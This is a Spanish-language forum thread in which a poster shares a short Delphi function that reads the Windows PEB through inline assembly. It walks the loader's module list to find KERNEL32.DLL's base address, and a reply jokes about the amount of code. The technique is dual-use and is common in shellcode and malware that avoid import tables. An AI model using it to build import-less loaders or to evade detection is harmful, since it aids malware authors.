Sabiendo que KERNEL32 se carga en segundo lugar tras ntdll.dll, hasta que Microsoft lo cambie, y no lo ha hecho hasta Win8, simplificamos la función así:

delphi

function GetKernell32Module: Pointer;
var
  PEB: P_PEB;
  LdrTable: PLDR_DATA_TABLE_ENTRY;
  S:  String;
begin
  asm
    push fs:[$30];
    pop  PEB;
  end;
 
  LdrTable:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Flink);  // El proceso actual
  LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink); // ntdll.dll
  LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink); // KERNEL32.DLL
  Result:= LdrTable.DllBase;
end;

Subo el código en delphi.

Espero que esto os sirva para algo.


Saludos.

Attached Files

•  4477_caef98c40fe10599c2e4a11c0de489055c1eed9a.zip   24.09KB   16 downloads

[seoane]

Excelente

PD: Cuanto código !  ... al final va a ser mas facil escanear la memoria del proceso ... es broma